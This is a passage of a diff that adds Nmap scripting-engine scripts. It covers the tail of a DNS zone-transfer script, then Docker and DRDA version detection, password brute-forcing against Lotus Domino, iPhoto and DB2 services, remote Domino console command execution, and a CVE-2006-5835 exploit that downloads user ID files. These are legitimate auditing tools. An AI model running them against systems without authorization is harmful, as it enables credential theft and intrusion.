+ local questions = bto16(data, offset+4)
+ local answers = bto16(data, offset+6)
+ local auth_answers = bto16(data, offset+8)
+ local add_answers = bto16(data, offset+10)
+
+ -- move to beginning of first section
+ offset = offset + 12
+
+ if questions > 1 then
+ return false, 'More then 1 question record, something has gone wrong'
+ end
+
+ if answers == 0 then
+ return false, 'transfer successful but no records'
+ end
+
+ -- skip over the question section, we don't need it
+ if questions == 1 then
+ offset, line = parse_domain(data, offset)
+ offset = offset + 4
+ end
+
+ -- parse all available resource records
+ stdnse.debug3("Script %s: parsing ANCOUNT == %d, NSCOUNT == %d, ARCOUNT == %d", answers, auth_answers, add_answers)
+ RR['Node Names'] = {}
+ offset = parse_records(answers, data, RR, offset)
+ offset = parse_records(auth_answers, data, RR, offset)
+ offset = parse_records(add_answers, data, RR, offset)
+ end
+
+ local outtab, nhosts = tab.new(), 0
+ local newhosts_count, status, ret = 0, false
+
+ tab.addrow(outtab, "Domains", "Added Targets")
+ for rdata in pairs(RR['Node Names']) do
+ status, ret = target.add(rdata)
+ if not status then
+ stdnse.debug3("Error: failed to add all Node Names.")
+ break
+ end
+ newhosts_count = newhosts_count + ret
+ end
+ if newhosts_count == 0 then
+ return false, ret and ret or "Error: failed to add DNS records."
+ end
+ tab.addrow(outtab, "Node Names", newhosts_count)
+ nhosts = newhosts_count
+
+ tab.nextrow(outtab)
+
+ tab.addrow(outtab, "DNS Records", "Added Targets")
+ for rectype in pairs(RR) do
+ newhosts_count = 0
+ -- filter Private IPs
+ if rectype == 'A' then
+ for rdata in pairs(RR[rectype]) do
+ if dns_opts.addall or not ipOps.isPrivate(rdata) then
+ status, ret = target.add(rdata)
+ if not status then
+ stdnse.debug3("Error: failed to add all 'A' records.")
+ break
+ end
+ newhosts_count = newhosts_count + ret
+ end
+ end
+ elseif rectype ~= 'Node Names' then
+ for rdata in pairs(RR[rectype]) do
+ status, ret = target.add(rdata)
+ if not status then
+ stdnse.debug3("Error: failed to add all '%s' records.", rectype)
+ break
+ end
+ newhosts_count = newhosts_count + ret
+ end
+ end
+
+ if newhosts_count ~= 0 then
+ tab.addrow(outtab, rectype, newhosts_count)
+ nhosts = nhosts + newhosts_count
+ elseif nhosts == 0 then
+ -- error: we can't add new targets
+ return false, ret and ret or "Error: failed to add DNS records."
+ end
+ end
+
+ -- error: no *valid records* or we can't add new targets
+ if nhosts == 0 then
+ return false, "Error: failed to add valid DNS records."
+ end
+
+ return true, tab.dump(outtab) .. "\n" ..
+ string.format("Total new targets added to Nmap scan queue: %d.",
+ nhosts)
+end
+
+function dump_zone_info(table, response)
+ for data in responses_iter(response) do
+ local offset, line = 1
+
+ -- number of available records
+ local questions = bto16(data, offset+4)
+ local answers = bto16(data, offset+6)
+ local auth_answers = bto16(data, offset+8)
+ local add_answers = bto16(data, offset+10)
+
+ -- move to beginning of first section
+ offset = offset + 12
+
+ if questions > 1 then
+ return false, 'More then 1 question record, something has gone wrong'
+ end
+
+ if answers == 0 then
+ return false, 'transfer successful but no records'
+ end
+
+ -- skip over the question section, we don't need it
+ if questions == 1 then
+ offset, line = parse_domain(data, offset)
+ offset = offset + 4
+ end
+
+ -- parse all available resource records
+ stdnse.debug3("parsing ANCOUNT == %d, NSCOUNT == %d, ARCOUNT == %d", answers, auth_answers, add_answers)
+ offset = parse_records_table(answers, data, table, offset)
+ offset = parse_records_table(auth_answers, data, table, offset)
+ offset = parse_records_table(add_answers, data, table, offset)
+ end
+
+ return true
+end
+
+action = function(host, port)
+ if not dns_opts.domain then
+ return stdnse.format_output(false,
+ string.format("'%s' script needs a dnszonetransfer.domain argument.",
+ SCRIPT_TYPE))
+ end
+ if not dns_opts.port then
+ dns_opts.port = 53
+ end
+
+ local soc = nmap.new_socket()
+ local catch = function() soc:close() end
+ local try = nmap.new_try(catch)
+ soc:set_timeout(4000)
+ try(soc:connect(dns_opts.server, dns_opts.port))
+
+ local req_id = '\222\173'
+ local offset = 1
+ local name = build_domain(string.lower(dns_opts.domain))
+ local pkt_len = #name + 16
+
+ -- build axfr request
+ local buf = strbuf.new()
+ buf = buf .. '\000' .. string.char(pkt_len) .. req_id
+ buf = buf .. '\000\000\000\001\000\000\000\000\000\000'
+ buf = buf .. name .. '\000\252\000\001'
+ try(soc:send(strbuf.dump(buf)))
+
+ -- read all data returned. Common to have
+ -- multiple packets from a single request
+ local response = strbuf.new()
+ while true do
+ local status, data = soc:receive_bytes(1)
+ if not status then break end
+ response = response .. data
+ end
+ soc:close()
+
+ local response_str = strbuf.dump(response)
+ local length = #response_str
+
+ -- check server response code
+ if length < 6 or
+ not ((string.byte(response_str, 6) & 15) == 0) then
+ return nil
+ end
+
+ -- add axfr results to Nmap scanning queue
+ if target.ALLOW_NEW_TARGETS then
+ local status, ret = add_zone_info(response_str)
+ if not status then
+ return stdnse.format_output(false, ret)
+ end
+ return stdnse.format_output(true, ret)
+ -- dump axfr results
+ else
+ local table = tab.new()
+ local status, ret = dump_zone_info(table, response_str)
+ if not status then
+ return stdnse.format_output(false, ret)
+ end
+ return '\n' .. tab.dump(table)
+ end
+end
diff --git a/scripts/docker-version.nse b/scripts/docker-version.nse
new file mode 100644
index 0000000..452434c
--- /dev/null
+++ b/scripts/docker-version.nse
@@ -0,0 +1,46 @@
+local shortport = require "shortport"
+local json = require "json"
+local http = require "http"
+local nmap = require "nmap"
+
+description = [[Detects the Docker service version.]]
+
+---
+-- @output
+-- PORT STATE SERVICE VERSION
+-- 2375/tcp open docker Docker 1.11.2
+-- | Version: 1.11.2
+-- | BuildTime: 2016-06-01T21:47:50.269346868+00:00
+-- | Arch: amd64
+-- | KernelVersion: 3.13.0-91-generic
+-- | Os: linux
+-- | ApiVersion: 1.23
+-- | GitCommit: b9f10c9
+-- |_ GoVersion: go1.5.4
+
+
+author = "Claudio Criscione"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"version"}
+
+portrule = shortport.version_port_or_service({2375, 2376}, {"docker", "docker-s"}, "tcp")
+
+action = function(host, port)
+
+ local http_response = http.get(host, port, "/version")
+ if not http_response or not http_response.status or
+ http_response.status ~= 200 or not http_response.body then
+ return
+ end
+
+ local ok_json, response = json.parse(http_response.body)
+ if ok_json and response["Version"] and response["GitCommit"] then
+ ---Detected
+ port.version.name = 'docker'
+ port.version.version = response["Version"]
+ port.version.product = "Docker"
+ nmap.set_port_version(host, port)
+ return response
+ end
+ return
+end
diff --git a/scripts/domcon-brute.nse b/scripts/domcon-brute.nse
new file mode 100644
index 0000000..99941d4
--- /dev/null
+++ b/scripts/domcon-brute.nse
@@ -0,0 +1,168 @@
+local brute = require "brute"
+local creds = require "creds"
+local nmap = require "nmap"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+local table = require "table"
+
+description = [[
+Performs brute force password auditing against the Lotus Domino Console.
+]]
+
+---
+-- @usage
+-- nmap --script domcon-brute -p 2050 <host>
+--
+-- @output
+-- PORT STATE SERVICE REASON
+-- 2050/tcp open unknown syn-ack
+-- | domcon-brute:
+-- | Accounts
+-- |_ patrik karlsson:secret => Login correct
+--
+-- Summary
+-- -------
+-- x The Driver class contains the driver implementation used by the brute
+-- library
+--
+--
+-- Version 0.1
+-- Created 07/12/2010 - v0.1 - created by Patrik Karlsson <patrik@cqure.net>
+--
+
+author = "Patrik Karlsson"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"intrusive", "brute"}
+
+
+portrule = shortport.port_or_service(2050, "", "tcp", "open")
+
+local not_admins = {}
+
+SocketPool = {
+
+ new = function(self, max_sockets)
+ local o = {}
+ setmetatable(o, self)
+ self.__index = self
+ o.max_sockets = max_sockets
+ o.pool = {}
+ return o
+ end,
+
+ getSocket = function(self, host, port)
+ while(true) do
+ for i=1, #self.pool do
+ if ( not( self.pool[i].inuse ) ) then
+ self.pool[i].inuse = true
+ return self.pool[i].socket
+ end
+ end
+ if ( #self.pool < self.max_sockets ) then
+ local socket = nmap.new_socket()
+ local status = socket:connect( host, port )
+
+ if ( status ) then
+ socket:reconnect_ssl()
+ end
+
+ if ( status and socket ) then
+ table.insert( self.pool, {['socket'] = socket, ['inuse'] = false})
+ end
+ end
+ stdnse.sleep(1)
+ end
+ end,
+
+ releaseSocket = function( self, socket )
+ for i=1, #self.pool do
+ if( socket == self.pool[i].socket ) then
+ self.pool[i].inuse = false
+ break
+ end
+ end
+ end,
+
+ shutdown = function( self )
+ for i=1, #self.pool do
+ self.pool[i].socket:close()
+ end
+ end,
+
+}
+
+Driver =
+{
+
+ new = function(self, host, port, options)
+ local o = {}
+ setmetatable(o, self)
+ self.__index = self
+ o.host = host
+ o.port = port
+ o.sockpool = options
+ return o
+ end,
+
+ connect = function( self )
+ self.socket = self.sockpool:getSocket( self.host, self.port )
+
+ if ( self.socket ) then
+ return true
+ else
+ return false
+ end
+ end,
+
+ --- Attempts to login to the Lotus Domino Console
+ --
+ -- @param username string containing the login username
+ -- @param password string containing the login password
+ -- @return status, true on success, false on failure
+ -- @return brute.Error object on failure
+ -- creds.Account object on success
+ login = function( self, username, password )
+ local data = ("#UI %s,%s\n"):format(username,password)
+ local status
+
+ if ( not_admins[username] ) then
+ return false, brute.Error:new( "Incorrect password" )
+ end
+
+ status, data = self.socket:send( data )
+ if ( not(status) ) then
+ local err = brute.Error:new( data )
+ err:setRetry(true)
+ return false, err
+ end
+
+ status, data = self.socket:receive_bytes(5)
+
+ if ( status and data:match("NOT_REG_ADMIN") ) then
+ not_admins[username] = true
+ elseif( status and data:match("VALID_USER") ) then
+ return true, creds.Account:new( username, password, creds.State.VALID)
+ end
+
+ return false, brute.Error:new( "Incorrect password" )
+
+ end,
+
+ disconnect = function( self )
+ self.sockpool:releaseSocket( self.socket )
+ end,
+
+}
+
+
+action = function(host, port)
+ local status, result
+ local pool = SocketPool:new(10)
+ local engine = brute.Engine:new(Driver, host, port, pool )
+
+ engine.options.script_name = SCRIPT_NAME
+ status, result = engine:start()
+ pool:shutdown()
+
+ return result
+end
diff --git a/scripts/domcon-cmd.nse b/scripts/domcon-cmd.nse
new file mode 100644
index 0000000..9cbfbfb
--- /dev/null
+++ b/scripts/domcon-cmd.nse
@@ -0,0 +1,141 @@
+local nmap = require "nmap"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+local stringaux = require "stringaux"
+local table = require "table"
+
+description = [[
+Runs a console command on the Lotus Domino Console using the given authentication credentials (see also: domcon-brute)
+]]
+
+---
+-- @usage
+-- nmap -p 2050 <host> --script domcon-cmd --script-args domcon-cmd.cmd="show server", \
+-- domcon-cmd.user="Patrik Karlsson",domcon-cmd.pass="secret"
+--
+-- @output
+-- PORT STATE SERVICE REASON
+-- 2050/tcp open unknown syn-ack
+-- | domcon-cmd:
+-- | show server
+-- |
+-- | Lotus Domino (r) Server (Release 8.5 for Windows/32) 2010-07-30 00:52:58
+-- |
+-- | Server name: server1/cqure - cqure testing server
+-- | Domain name: cqure
+-- | Server directory: C:\Program Files\IBM\Lotus\Domino\data
+-- | Partition: C.Program Files.IBM.Lotus.Domino.data
+-- | Elapsed time: 00:27:11
+-- | Transactions/minute: Last minute: 0; Last hour: 0; Peak: 0
+-- | Peak # of sessions: 0 at
+-- | Transactions: 0 Max. concurrent: 20
+-- | ThreadPool Threads: 20 (TCPIP Port)
+-- | Availability Index: 100 (state: AVAILABLE)
+-- | Mail Tracking: Not Enabled
+-- | Mail Journalling: Not Enabled
+-- | Number of Mailboxes: 1
+-- | Pending mail: 0 Dead mail: 0
+-- | Waiting Tasks: 0
+-- | DAOS: Not Enabled
+-- | Transactional Logging: Not Enabled
+-- | Fault Recovery: Not Enabled
+-- | Activity Logging: Not Enabled
+-- | Server Controller: Enabled
+-- | Diagnostic Directory: C:\Program Files\IBM\Lotus\Domino\data\IBM_TECHNICAL_SUPPORT
+-- | Console Logging: Enabled (1K)
+-- | Console Log File: C:\Program Files\IBM\Lotus\Domino\data\IBM_TECHNICAL_SUPPORT\console.log
+-- |_ DB2 Server: Not Enabled
+--
+-- @args domcon-cmd.cmd The command to run on the remote server
+-- @args domcon-cmd.user The user used to authenticate to the server
+-- @args domcon-cmd.pass The password used to authenticate to the server
+--
+
+--
+-- Version 0.1
+-- Created 07/30/2010 - v0.1 - created by Patrik Karlsson <patrik@cqure.net>
+--
+
+author = "Patrik Karlsson"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"intrusive", "auth"}
+
+
+portrule = shortport.port_or_service(2050, "dominoconsole", "tcp", "open")
+
+--- Reads an API block from the server
+--
+-- @param socket already connected to the server
+-- @return status true on success, false on failure
+-- @return result table containing lines with server response
+-- or error message if status is false
+local function readAPIBlock( socket )
+
+ local lines
+ local result = {}
+ local status, line = socket:receive_lines(1)
+
+ if ( not(status) ) then return false, "Failed to read line" end
+ lines = stringaux.strsplit( "\n", line )
+
+ for _, line in ipairs( lines ) do
+ if ( not(line:match("BeginData")) and not(line:match("EndData")) ) then
+ table.insert(result, line)
+ end
+ end
+
+ -- Clear trailing empty lines
+ while( true ) do
+ if ( result[#result] == "" ) then
+ table.remove(result, #result)
+ else
+ break
+ end
+ end
+
+ return true, result
+
+end
+
+local function fail (err) return stdnse.format_output(false, err) end
+
+action = function(host, port)
+
+ local socket = nmap.new_socket()
+ local result_part, result, cmds = {}, {}, {}
+ local user = stdnse.get_script_args('domcon-cmd.user')
+ local pass = stdnse.get_script_args('domcon-cmd.pass')
+ local cmd = stdnse.get_script_args('domcon-cmd.cmd')
+
+ if( not(cmd) ) then return fail("No command supplied (see domcon-cmd.cmd)") end
+ if( not(user)) then return fail("No username supplied (see domcon-cmd.user)") end
+ if( not(pass)) then return fail("No password supplied (see domcon-cmd.pass)") end
+
+ cmds = stringaux.strsplit(";%s*", cmd)
+
+ socket:set_timeout(10000)
+ local status = socket:connect( host, port )
+ if ( status ) then
+ socket:reconnect_ssl()
+ end
+
+ socket:send("#API\n")
+ socket:send( ("#UI %s,%s\n"):format(user,pass) )
+ socket:receive_lines(1)
+ socket:send("#EXIT\n")
+
+ for i=1, #cmds do
+ socket:send(cmds[i] .. "\n")
+ status, result_part = readAPIBlock( socket )
+ if( status ) then
+ result_part.name = cmds[i]
+ table.insert( result, result_part )
+ else
+ return fail(result_part)
+ end
+ end
+
+ socket:close()
+
+ return stdnse.format_output( true, result )
+end
diff --git a/scripts/domino-enum-users.nse b/scripts/domino-enum-users.nse
new file mode 100644
index 0000000..62a54ab
--- /dev/null
+++ b/scripts/domino-enum-users.nse
@@ -0,0 +1,135 @@
+local io = require "io"
+local nrpc = require "nrpc"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+local stringaux = require "stringaux"
+local table = require "table"
+local unpwdb = require "unpwdb"
+
+description = [[
+Attempts to discover valid IBM Lotus Domino users and download their ID files by exploiting the CVE-2006-5835 vulnerability.
+]]
+
+---
+-- @usage
+-- nmap --script domino-enum-users -p 1352 <host>
+--
+-- @output
+-- PORT STATE SERVICE REASON
+-- 1352/tcp open lotusnotes
+-- | domino-enum-users:
+-- | User "Patrik Karlsson" found, but not ID file could be downloaded
+-- | Successfully stored "FFlintstone" in /tmp/FFlintstone.id
+-- |_ Successfully stored "MJacksson" in /tmp/MJacksson.id
+--
+--
+-- @args domino-enum-users.path the location to which any retrieved ID files are stored
+-- @args domino-enum-users.username the name of the user from which to retrieve the ID.
+-- If this parameter is not specified, the unpwdb
+-- library will be used to brute force names of users.
+--
+-- For more information see:
+-- http://www-01.ibm.com/support/docview.wss?rs=463&uid=swg21248026
+--
+-- Credits
+-- -------
+-- o Ollie Whitehouse for bringing this to my attention back in the days when
+-- it was first discovered and for the c-code on which this is based.
+
+--
+-- Version 0.1
+-- Created 07/12/2010 - v0.1 - created by Patrik Karlsson <patrik@cqure.net>
+--
+
+author = "Patrik Karlsson"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"intrusive", "auth"}
+
+
+portrule = shortport.port_or_service(1352, "lotusnotes", "tcp", "open")
+
+--- Saves the ID file to disk
+--
+-- @param filename string containing the name and full path to the file
+-- @param data contains the data
+-- @return status true on success, false on failure
+-- @return err string containing error message if status is false
+local function saveIDFile( filename, data )
+ local f = io.open( filename, "w")
+ if ( not(f) ) then
+ return false, ("Failed to open file (%s)"):format(filename)
+ end
+ if ( not(f:write( data ) ) ) then
+ return false, ("Failed to write file (%s)"):format(filename)
+ end
+ f:close()
+
+ return true
+end
+
+action = function(host, port)
+
+ local helper = nrpc.Helper:new( host, port )
+ local status, data, usernames, err
+ local path = stdnse.get_script_args(SCRIPT_NAME .. ".path")
+ local result = {}
+ local save_file = false
+ local counter = 0
+ local domino_username = stdnse.get_script_args(SCRIPT_NAME .. ".username")
+ if ( domino_username ) then
+ usernames = ( function()
+ local b = true
+ return function()
+ if ( b ) then
+ b=false;
+ return domino_username
+ end
+ end
+ end )()
+ else
+ status, usernames = unpwdb.usernames()
+ if ( not(status) ) then
+ return false, "Failed to load usernames"
+ end
+ end
+
+ for username in usernames do
+ status = helper:connect()
+ if ( not(status) ) then
+ err = ("ERROR: Failed to connect to Lotus Domino Server %s"):format( host.ip )
+ break
+ end
+
+ status, data = helper:isValidUser( username )
+ helper:disconnect()
+
+ if ( status and data and path ) then
+ local filename = path .. "/" .. stringaux.filename_escape(username .. ".id")
+ local status, err = saveIDFile( filename, data )
+
+ if ( status ) then
+ table.insert(result, ("Successfully stored \"%s\" in %s"):format(username, filename) )
+ else
+ stdnse.debug1("%s", err)
+ table.insert(result, ("Failed to store \"%s\" to %s"):format(username, filename) )
+ end
+ elseif( status and data ) then
+ table.insert(result, ("Successfully retrieved ID for \"%s\" (to store set the domino-enum-users.path argument)"):format(username) )
+ elseif ( status ) then
+ table.insert(result, ("User \"%s\" found, but no ID file could be downloaded"):format(username) )
+ end
+
+ counter = counter + 1
+ end
+
+ if ( #result == 0 ) then
+ table.insert(result, ("Guessed %d usernames, none were found"):format(counter) )
+ end
+
+ result = stdnse.format_output( true, result )
+ if ( err ) then
+ result = result .. (" \n %s"):format(err)
+ end
+
+ return result
+end
diff --git a/scripts/dpap-brute.nse b/scripts/dpap-brute.nse
new file mode 100644
index 0000000..99f49b2
--- /dev/null
+++ b/scripts/dpap-brute.nse
@@ -0,0 +1,127 @@
+local base64 = require "base64"
+local brute = require "brute"
+local creds = require "creds"
+local nmap = require "nmap"
+local shortport = require "shortport"
+
+description = [[
+Performs brute force password auditing against an iPhoto Library.
+]]
+
+
+---
+-- @usage
+-- nmap --script dpap-brute -p 8770 <host>
+--
+-- @output
+-- 8770/tcp open apple-iphoto syn-ack
+-- | dpap-brute:
+-- | Accounts
+-- | secret => Login correct
+-- | Statistics
+-- |_ Perfomed 5007 guesses in 6 seconds, average tps: 834
+--
+--
+-- Version 0.1
+-- Created 24/01/2011 - v0.1 - created by Patrik Karlsson <patrik@cqure.net>
+--
+
+author = "Patrik Karlsson"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"intrusive", "brute"}
+
+
+portrule = shortport.port_or_service(8770, "apple-iphoto")
+
+Driver = {
+
+ new = function(self, host, port)
+ local o = {}
+ setmetatable(o, self)
+ self.__index = self
+ o.host = host
+ o.port = port
+ return o
+ end,
+
+ connect = function( self )
+ self.socket = brute.new_socket()
+ self.socket:set_timeout(5000)
+ return self.socket:connect(self.host, self.port, "tcp")
+ end,
+
+ login = function( self, username, password )
+ local data = "GET dpap://%s:%d/login HTTP/1.1\r\n" ..
+ "User-Agent: iPhoto/9.1.1 (Macintosh; N; PPC)\r\n" ..
+ "Host: %s\r\n" ..
+ "Authorization: Basic %s\r\n" ..
+ "Client-DPAP-Version: 1.1\r\n" ..
+ "\r\n\r\n"
+
+ local c = base64.enc("nmap:" .. password)
+ data = data:format( self.host.ip, self.port.number, self.host.ip, c )
+
+ local status = self.socket:send( data )
+ if ( not(status) ) then
+ local err = brute.Error:new( "Failed to send data to DPAP server" )
+ err:setRetry( true )
+ return false, err
+ end
+
+ status, data = self.socket:receive()
+ if ( not(status) ) then
+ local err = brute.Error:new( "Failed to receive data from DPAP server" )
+ err:setRetry( true )
+ return false, err
+ end
+
+ if ( data:match("^HTTP/1.1 200 OK") ) then
+ return true, creds.Account:new(username, password, creds.State.VALID)
+ end
+
+ return false, brute.Error:new( "Incorrect password" )
+ end,
+
+ disconnect = function( self )
+ self.socket:close()
+ end,
+
+}
+
+local function checkEmptyPassword(host, port)
+ local d = Driver:new(host, port)
+ local status = d:connect()
+
+ if ( not(status) ) then
+ return false
+ end
+
+ status = d:login("", "")
+ d:disconnect()
+
+ return status
+end
+
+
+action = function(host, port)
+
+ if ( checkEmptyPassword(host, port) ) then
+ return "Library has no password"
+ end
+
+ local status, result
+ local engine = brute.Engine:new(Driver, host, port )
+
+ engine.options.firstonly = true
+ engine.options:setOption( "passonly", true )
+ engine.options.script_name = SCRIPT_NAME
+
+ status, result = engine:start()
+
+ return result
+end
+
+
+
+
+
diff --git a/scripts/drda-brute.nse b/scripts/drda-brute.nse
new file mode 100644
index 0000000..0427479
--- /dev/null
+++ b/scripts/drda-brute.nse
@@ -0,0 +1,173 @@
+local coroutine = require "coroutine"
+local drda = require "drda"
+local nmap = require "nmap"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+local string = require "string"
+local table = require "table"
+local unpwdb = require "unpwdb"
+
+description = [[
+Performs password guessing against databases supporting the IBM DB2 protocol such as Informix, DB2 and Derby
+]]
+
+---
+-- @args drda-brute.threads the amount of accounts to attempt to brute
+-- force in parallel (default 10).
+-- @args drda-brute.dbname the database name against which to guess
+-- passwords (default <code>"SAMPLE"</code>).
+--
+-- @usage
+-- nmap -p 50000 --script drda-brute <target>
+--
+-- @output
+-- 50000/tcp open drda
+-- | drda-brute:
+-- |_ db2admin:db2admin => Valid credentials
+
+author = "Patrik Karlsson"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories={"intrusive", "brute"}
+
+
+-- Version 0.5
+-- Created 05/08/2010 - v0.1 - created by Patrik Karlsson <patrik@cqure.net>
+-- Revised 05/09/2010 - v0.2 - re-wrote as multi-threaded <patrik@cqure.net>
+-- Revised 05/10/2010 - v0.3 - revised parallelised design <patrik@cqure.net>
+-- Revised 08/14/2010 - v0.4 - renamed script and library from db2* to drda* <patrik@cqure.net>
+-- Revised 09/09/2011 - v0.5 - changed account status text to be more consistent with other *-brute scripts
+
+portrule = shortport.port_or_service({50000,60000}, {"drda","ibm-db2"}, "tcp", {"open", "open|filtered"})
+
+--- Credential iterator
+--
+-- @param usernames iterator from unpwdb
+-- @param passwords iterator from unpwdb
+-- @return username string
+-- @return password string
+local function new_usrpwd_iterator (usernames, passwords)
+ local function next_username_password ()
+ for username in usernames do
+ for password in passwords do
+ coroutine.yield(username, password)
+ end
+ passwords("reset")
+ end
+ while true do coroutine.yield(nil, nil) end
+ end
+ return coroutine.wrap(next_username_password)
+end
+
+--- Iterates over the password list and guesses passwords
+--
+-- @param host table with information as received by <code>action</code>
+-- @param port table with information as received by <code>action</code>
+-- @param database string containing the database name
+-- @param creds an iterator producing username, password pairs
+-- @param valid_accounts table in which to store found accounts
+doLogin = function( host, port, database, creds, valid_accounts )
+ local helper, status, response, passwords
+ local condvar = nmap.condvar( valid_accounts )
+
+ for username, password in creds do
+ -- Checks if a password was already discovered for this account
+ if ( nmap.registry.db2users == nil or nmap.registry.db2users[username] == nil ) then
+ helper = drda.Helper:new()
+ helper:connect( host, port )
+ stdnse.debug1( "Trying %s/%s against %s...", username, password, host.ip )
+ status, response = helper:login( database, username, password )
+ helper:close()
+
+ if ( status ) then
+ -- Add credentials for future drda scripts to use
+ if nmap.registry.db2users == nil then
+ nmap.registry.db2users = {}
+ end
+ nmap.registry.db2users[username]=password
+ table.insert( valid_accounts, string.format("%s:%s => Valid credentials", username, password:len()>0 and password or "<empty>" ) )
+ end
+ end
+ end
+ condvar("broadcast")
+end
+
+--- Checks if the supplied database exists
+--
+-- @param host table with information as received by <code>action</code>
+-- @param port table with information as received by <code>action</code>
+-- @param database string containing the database name
+-- @return status true on success, false on failure
+isValidDb = function( host, port, database )
+ local status, response
+ local helper = drda.Helper:new()
+
+ helper:connect( host, port )
+ -- Authenticate with a static probe account to see if the db is valid
+ status, response = helper:login( database, "dbnameprobe1234", "dbnameprobe1234" )
+ helper:close()
+
+ if ( not(status) and response:match("Login failed") ) then
+ return true
+ end
+ return false
+end
+
+--- Returns the amount of currently active threads
+--
+-- @param threads table containing the list of threads
+-- @return count number containing the number of non-dead threads
+threadCount = function( threads )
+ local count = 0
+
+ for thread in pairs(threads) do
+ if ( coroutine.status(thread) == "dead" ) then
+ threads[thread] = nil
+ else
+ count = count + 1
+ end
+ end
+ return count
+end
+
+action = function( host, port )
+
+ local result, response, status = {}, nil, nil
+ local valid_accounts, threads = {}, {}
+ local usernames, passwords, creds
+ local database = stdnse.get_script_args('drda-brute.dbname') or "SAMPLE"
+ local condvar = nmap.condvar( valid_accounts )
+ local max_threads = tonumber( stdnse.get_script_args('drda-brute.threads') ) or 10
+
+ -- Check if the DB specified is valid
+ if( not(isValidDb(host, port, database)) ) then
+ return ("The databases %s was not found. (Use --script-args drda-brute.dbname=<dbname> to specify database)"):format(database)
+ end
+
+ status, usernames = unpwdb.usernames()
+ if ( not(status) ) then
+ return "Failed to load usernames"
+ end
+
+ -- make sure we have a valid pw file
+ status, passwords = unpwdb.passwords()
+ if ( not(status) ) then
+ return "Failed to load passwords"
+ end
+
+ creds = new_usrpwd_iterator( usernames, passwords )
+
+ stdnse.debug1("Starting brute force with %d threads", max_threads )
+
+ for i=1,max_threads do
+ local co = stdnse.new_thread( doLogin, host, port, database, creds, valid_accounts )
+ threads[co] = true
+ end
+
+ -- wait for all threads to finish running
+ while threadCount(threads)>0 do
+ condvar("wait")
+ end
+
+ return stdnse.format_output(true, valid_accounts)
+
+end
diff --git a/scripts/drda-info.nse b/scripts/drda-info.nse
new file mode 100644
index 0000000..5c8d80e
--- /dev/null
+++ b/scripts/drda-info.nse
@@ -0,0 +1,114 @@
+local drda = require "drda"
+local nmap = require "nmap"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+local string = require "string"
+local table = require "table"
+
+description = [[
+Attempts to extract information from database servers supporting the DRDA
+protocol. The script sends a DRDA EXCSAT (exchange server attributes)
+command packet and parses the response.
+]]
+
+---
+-- @output
+-- PORT STATE SERVICE
+-- 50000/tcp open drda
+-- | drda-info: DB2 Version: 8.02.9
+-- | Server Platform: QDB2/SUN
+-- | Instance Name: db2inst1
+-- |_ External Name: db2inst1db2agent00002B430
+
+author = "Patrik Karlsson"
+
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+
+categories = {"safe", "discovery", "version"}
+
+
+-- Version 0.1
+-- Created 05/08/2010 - v0.1 - created by Patrik Karlsson <patrik@cqure.net>
+
+--
+-- parseVersion was ripped from the old db2-info.nse written by Tom Sellers
+--
+
+portrule = shortport.version_port_or_service({50000,60000,9090,1526,1527},
+ {"drda","ibm-db2"}, "tcp",
+ {"open", "open|filtered"})
+
+--- Converts the prodrel server string to a version string
+--
+-- @param server_version string containing the product release
+-- @return ver string containing the version information
+local function parseVersion( server_version )
+ local pfx = string.sub(server_version,1,3)
+
+ if pfx == "SQL" or pfx == "IFX" then
+ local major_version = string.sub(server_version,4,5)
+
+ -- strip the leading 0 from the major version, for consistency with
+ -- nmap-service-probes results
+ if string.sub(major_version,1,1) == "0" then
+ major_version = string.sub(major_version,2)
+ end
+ local minor_version = string.sub(server_version,6,7)
+ local hotfix = string.sub(server_version,8)
+ server_version = major_version .. "." .. minor_version .. "." .. hotfix
+ elseif( pfx == "CSS" ) then
+ return server_version:match("%w+/(.*)")
+ end
+
+ return server_version
+end
+
+action = function( host, port )
+
+ local helper = drda.Helper:new()
+ local status, response
+ local results = {}
+
+ status, response = helper:connect(host, port)
+ if( not(status) ) then
+ return response
+ end
+
+ status, response = helper:getServerInfo()
+ if( not(status) ) then
+ return response
+ end
+
+ helper:close()
+
+ -- Set port information
+ if ( response.srvclass and response.srvclass:match("IDS/") ) then
+ port.version.name = "drda"
+ port.version.product = "IBM Informix Dynamic Server"
+ port.version.name_confidence = 10
+ table.insert( results, ("Informix Version: %s"):format( parseVersion(response.prodrel) ) )
+ elseif ( response.srvclass and response.srvclass:match("Apache Derby") ) then
+ port.version.name = "drda"
+ port.version.product = "Apache Derby Server"
+ port.version.name_confidence = 10
+ table.insert( results, ("Derby Version: %s"):format( parseVersion(response.prodrel) ) )
+ elseif ( response.srvclass and response.srvclass:match("DB2") ) then
+ port.version.name = "drda"
+ port.version.product = "IBM DB2 Database Server"
+ port.version.name_confidence = 10
+ table.insert( results, ("DB2 Version: %s"):format( parseVersion(response.prodrel) ) )
+ else
+ table.insert( results, ("Version: %s"):format( response.prodrel ) )
+ end
+ nmap.set_port_state(host, port, "open")
+ if response.srvclass ~= nil then port.version.extrainfo = response.srvclass end
+
+ nmap.set_port_version(host, port)
+
+ -- Generate results
+ table.insert( results, ("Server Platform: %s"):format( response.srvclass ) )
+ table.insert( results, ("Instance Name: %s"):format( response.srvname ) )
+ table.insert( results, ("External Name: %s"):format( response.extname ) )
+
+ return stdnse.format_output( true, results )
+end
diff --git a/scripts/duplicates.nse b/scripts/duplicates.nse
new file mode 100644
index 0000000..04543d4
--- /dev/null
+++ b/scripts/duplicates.nse
@@ -0,0 +1,243 @@
+local ipOps = require "ipOps"
+local nmap = require "nmap"
+local ssh1 = require "ssh1"
+local stdnse = require "stdnse"
+local table = require "table"
+local tableaux = require "tableaux"
+
+description = [[
+Attempts to discover multihomed systems by analysing and comparing
+information collected by other scripts. The information analyzed
+currently includes, SSL certificates, SSH host keys, MAC addresses,
+and Netbios server names.
+
+In order for the script to be able to analyze the data it has dependencies to
